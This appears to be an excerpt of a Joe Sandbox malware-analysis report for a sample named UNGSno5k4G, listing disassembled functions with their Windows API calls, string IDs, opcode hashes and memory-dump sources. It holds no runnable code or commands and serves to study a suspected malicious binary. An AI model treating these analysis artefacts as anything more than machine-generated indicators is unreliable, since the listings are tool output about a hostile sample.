                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 0-2594219639
                                                                                                                                                  • Opcode ID: 633f152619b8c30162dc95440fdbfca099532ca417aaceaec9bd175afbce1397
                                                                                                                                                  • Instruction ID: 4fa5f01c85a4c09be7d325946a2a49cd9db50b3972f2018ab6b13a1314af769f
                                                                                                                                                  • Opcode Fuzzy Hash: 633f152619b8c30162dc95440fdbfca099532ca417aaceaec9bd175afbce1397
                                                                                                                                                  • Instruction Fuzzy Hash: DC21B272244210ABF3109B49AD84FBBB3A8EBE5721F10452FF240E61D0D6A6A8129669
                                                                                                                                                  Function 00450C09 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DestroyWindow.USER32(00000000,004A83D8,00000000,?,?), ref: 00450C60
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: DestroyWindow
                                                                                                                                                  • String ID: msctls_updown32
                                                                                                                                                  • API String ID: 3375834691-2298589950
                                                                                                                                                  • Opcode ID: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                                                                  • Instruction ID: 6a1e1189e42626fde14bc74b9d87f1f450c181bb0fe7a510af516aef360d3f61
                                                                                                                                                  • Opcode Fuzzy Hash: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                                                                  • Instruction Fuzzy Hash: CE31A279300201AFD624DF54DC81F5B73A9EB9A714F20451EF640AB382C7B4AC4ACB6A
                                                                                                                                                  Function 00461604 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,000000B0,00479268,?), ref: 00461623
                                                                                                                                                  • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00461641
                                                                                                                                                  • SendMessageW.USER32(00000000,0000000D,00000002,00000000), ref: 0046167D
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 3850602802-2594219639
                                                                                                                                                  • Opcode ID: 633165497abfe047d1e091f56854b6f7c63eca209b29199de980fdf661e9fd89
                                                                                                                                                  • Instruction ID: 05b4d085e2539abf20d486dcaef2da1a7a7867e0efe83f7dd7cbbd5d03df7bdd
                                                                                                                                                  • Opcode Fuzzy Hash: 633165497abfe047d1e091f56854b6f7c63eca209b29199de980fdf661e9fd89
                                                                                                                                                  • Instruction Fuzzy Hash: F8219272204215ABD714EB28EC82E9BB3D9AB95310F18492FF445D7290EB75F80587AA
                                                                                                                                                  Function 00451191 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0045122A
                                                                                                                                                  • SendMessageW.USER32(00000000,00000186,00000000,00000000), ref: 00451238
                                                                                                                                                  • MoveWindow.USER32(?,?,00000000,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0045125D
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$MoveWindow
                                                                                                                                                  • String ID: Listbox
                                                                                                                                                  • API String ID: 3315199576-2633736733
                                                                                                                                                  • Opcode ID: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                  • Instruction ID: bfe1e9b3800f224edd0053b2d0d87a77da448e7bf5b17050dc61905274d7532a
                                                                                                                                                  • Opcode Fuzzy Hash: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                  • Instruction Fuzzy Hash: E421D3712043047BE6209A65DC81F6BB3E8EBCD735F104B1EFA60A72D1C675EC458729
                                                                                                                                                  Function 0045D235 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SetErrorMode.KERNEL32(00000001), ref: 0045D243
                                                                                                                                                  • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D2C7
                                                                                                                                                  • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D30C
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ErrorMode$InformationVolume
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 2507767853-2761332787
                                                                                                                                                  • Opcode ID: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                                                                  • Instruction ID: 4a708fd112bc3492f79fb502a293ca5b83a6a9b53d4ab80d782c21126568c1ab
                                                                                                                                                  • Opcode Fuzzy Hash: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                                                                                                  • Instruction Fuzzy Hash: 622148756083019FC310EF55D944A6BB7E4FF88704F40882EFA45972A2D774E909CB5A
                                                                                                                                                  Function 0045D42B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SetErrorMode.KERNEL32(00000001), ref: 0045D44A
                                                                                                                                                  • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CE
                                                                                                                                                  • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D502
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ErrorMode$InformationVolume
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 2507767853-2761332787
                                                                                                                                                  • Opcode ID: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                                                                  • Instruction ID: 8e4373afe1f51974a95c06a3ae407364d3098df30383bdf5f9e51316f0e0b5c8
                                                                                                                                                  • Opcode Fuzzy Hash: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                                                                                                  • Instruction Fuzzy Hash: 902137756083019FC314EF55D944A5AB7E8FF88710F40882EFA49972A2D778E909CB9A
                                                                                                                                                  Function 004515AB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetWindowTextLengthW.USER32(00000000), ref: 004515DA
                                                                                                                                                  • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004515EA
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: LengthMessageSendTextWindow
                                                                                                                                                  • String ID: @U=u$edit
                                                                                                                                                  • API String ID: 2978978980-590756393
                                                                                                                                                  • Opcode ID: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                  • Instruction ID: b80de1f22085cd2d24dcce0fe83431d10f7d2aff66e66183492c5b70af3c9e13
                                                                                                                                                  • Opcode Fuzzy Hash: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                  • Instruction Fuzzy Hash: 2011E4716003006BD6109A64D884F6BB3DCEBD8335F104B1EFA61D32E1D779EC458729
                                                                                                                                                  Function 00450D00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450D74
                                                                                                                                                  • SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450D8A
                                                                                                                                                  • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450D98
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend
                                                                                                                                                  • String ID: msctls_trackbar32
                                                                                                                                                  • API String ID: 3850602802-1010561917
                                                                                                                                                  • Opcode ID: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                                                                  • Instruction ID: c83169f0c5ec68c29a3e9aa847b4a28030a04f73c00385235601d1c9d4ce90e2
                                                                                                                                                  • Opcode Fuzzy Hash: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                                                                                                  • Instruction Fuzzy Hash: 4F1193717403117BE610CAA8DC81F5B73E8AB98B25F204A1AFA50A72C1D2B4FC458B68
                                                                                                                                                  Function 0046BD4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                  • gethostbyname.WSOCK32(?,00000000,?,?), ref: 0046BD78
                                                                                                                                                  • WSAGetLastError.WSOCK32(00000000,?,?,00000000,?,?), ref: 0046BD83
                                                                                                                                                  • inet_ntoa.WSOCK32(00000000,?), ref: 0046BDCD
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ByteCharErrorLastMultiWidegethostbynameinet_ntoa
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 1515696956-2761332787
                                                                                                                                                  • Opcode ID: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                                                                  • Instruction ID: 2fad99cf3c45da3a785a9a513efbde0c8943f1fdc9598a344110207fd9df59bd
                                                                                                                                                  • Opcode Fuzzy Hash: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                                                                                                  • Instruction Fuzzy Hash: E21142765043006BC744FB66D885D9FB3A8AFC4318F448C2EF945A7242DA39E949876A
                                                                                                                                                  Function 00455AD5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00455AE6
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                  • GetWindowTextW.USER32(?,00000000,00000000), ref: 00455B0F
                                                                                                                                                  • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00455B3D
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$TextWindow_malloc
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 1799478712-2594219639
                                                                                                                                                  • Opcode ID: 777b332abedbb70df48aafff6e4a668f04c1f014c83732da7e1b1496a8ee2835
                                                                                                                                                  • Instruction ID: 8257637159c0b4f53d5feda03dd6d719fbf5731a42217e7d1e93e408167c9101
                                                                                                                                                  • Opcode Fuzzy Hash: 777b332abedbb70df48aafff6e4a668f04c1f014c83732da7e1b1496a8ee2835
                                                                                                                                                  • Instruction Fuzzy Hash: 5801A7727412055BF3202B79AC06BBBB784DB60361F00443BEE05E5381FA6E941A4669
                                                                                                                                                  Function 004694DE Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • SendMessageW.USER32(00000000,000001A2,000000FF,00000000), ref: 00469547
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend_wcslen
                                                                                                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                                                                                                  • API String ID: 455545452-2258501812
                                                                                                                                                  • Opcode ID: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                                                                  • Instruction ID: d7878a024921556205560296ec06e6abf53b779169672b4943ab7ad66f70e2c7
                                                                                                                                                  • Opcode Fuzzy Hash: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                                                                  • Instruction Fuzzy Hash: 2601D6327011106B8600BB299C019AFB39DDBC2370F544A2FF965573D1EA39AC0E476A
                                                                                                                                                  Function 004695F7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • SendMessageW.USER32(00000000,00000180,00000000,00000000), ref: 00469660
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend_wcslen
                                                                                                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                                                                                                  • API String ID: 455545452-2258501812
                                                                                                                                                  • Opcode ID: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                                                                  • Instruction ID: 486d2595d5a7427da4a9c048e684990a8dc9cac685a8154682435d05c4426571
                                                                                                                                                  • Opcode Fuzzy Hash: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                                                                  • Instruction Fuzzy Hash: A101D87274121027C600BA259C01AEBB39CEB96354F04443BF94597291EA6DED0E43AA
                                                                                                                                                  Function 0046956F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 53windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • SendMessageW.USER32(00000182,00000182,?,00000000), ref: 004695D6
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend_wcslen
                                                                                                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                                                                                                  • API String ID: 455545452-2258501812
                                                                                                                                                  • Opcode ID: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                                                                  • Instruction ID: 72d13aeac174e9c1a3a177398698555a642000804846b33da1492f44d6438514
                                                                                                                                                  • Opcode Fuzzy Hash: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                                                                                  • Instruction Fuzzy Hash: 4D01A77374111067C610BA6A9C01AEB739CABD2364F44443BF94597292EA7DED0E43AA
                                                                                                                                                  Function 004497A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                  • GetMenuItemInfoW.USER32 ref: 004497EA
                                                                                                                                                  • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00449817
                                                                                                                                                  • DrawMenuBar.USER32 ref: 00449828
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Menu$InfoItem$Draw_malloc
                                                                                                                                                  • String ID: 0
                                                                                                                                                  • API String ID: 772068139-4108050209
                                                                                                                                                  • Opcode ID: d608b06cc8126a94f8b189079e1e99a50943cf597b9c9b58a32df480197dd29f
                                                                                                                                                  • Instruction ID: 895394c4ac3d8cdb9511dba433443d5742fa96e32f07ab63668b9f5a94eb31d1
                                                                                                                                                  • Opcode Fuzzy Hash: d608b06cc8126a94f8b189079e1e99a50943cf597b9c9b58a32df480197dd29f
                                                                                                                                                  • Instruction Fuzzy Hash: 941182B16042009BF730EB55EC96FABB7A8FB91714F00452EE648CA281DB7A9445CB76
                                                                                                                                                  Function 0044A362 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetForegroundWindow.USER32(?,?,00454CBD,004A83D8,000000FC,00000000,?,?,004A83D8,?), ref: 0044A37C
                                                                                                                                                  • GetFocus.USER32 ref: 0044A384
                                                                                                                                                  • SendMessageW.USER32(?,000000B0,-000001B0,000001B4), ref: 0044A3F6
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: FocusForegroundMessageSendWindow
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 944890605-2594219639
